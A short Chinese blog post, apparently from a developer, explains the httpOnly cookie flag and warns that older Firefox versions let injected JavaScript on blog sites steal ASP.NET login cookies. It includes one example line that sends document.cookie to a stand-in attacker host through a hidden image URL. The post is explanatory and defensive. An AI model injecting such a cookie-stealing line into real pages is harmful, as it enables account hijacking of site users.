自从IE6 SP1起 , 这个浏览器就支持cookie的httpOnly属性.
这个属性, 告诉浏览器, 使用 window.document.cookie 不允许访问该cookie .
而在ASP.NET2.0中 , 这个属性也得到了支持, 并且在FormAuthentication中指定该属性.
但是,FireFox等浏览器, 并不支持该属性. 那么这个带来什么后果?
例如 , 假如你用FireFox登录博客园(www.cnblogs.com), 然后到一个恶意的用户的文章去.
你知道cnblogs.com允许用户随意增加javascript的.
那么该用户就能得到你的cookie,然后用一个简单的方法,把你的cookie发送到他的数据库去:
hiddenImg.src="http://hackyourlogininfo.com/savecookie.aspx?cookie="+escape(document.cookie)
当然,ASP.NET发送给客户端的信息是加密过的.
但是别人可以直接通过伪造COOKIE,直接使用该cookie,以你的身份登录博客园.
所以 - 用FireFox登录博客园类似的网站, 你的帐户信息随时会被盗.
但是如果使用IE6SP1,IE7,就不会存在该问题.
因为它支持httpOnly,所以使用document.cookie并不能取得ASP.NET的登录信息.
alert(document.cookie)
---
更新一下. FireFox在2.0.0.5已经解决这个问题.
但是不能因为cnblogs的用户用上最新的FireFox就能排除那些仍然在使用老版本的用户的情况.
IT人员只是很少的一部分人. 我们开发的程序是给各种各样的人使用的.
不能说我们没有这个问题, 就万事大吉.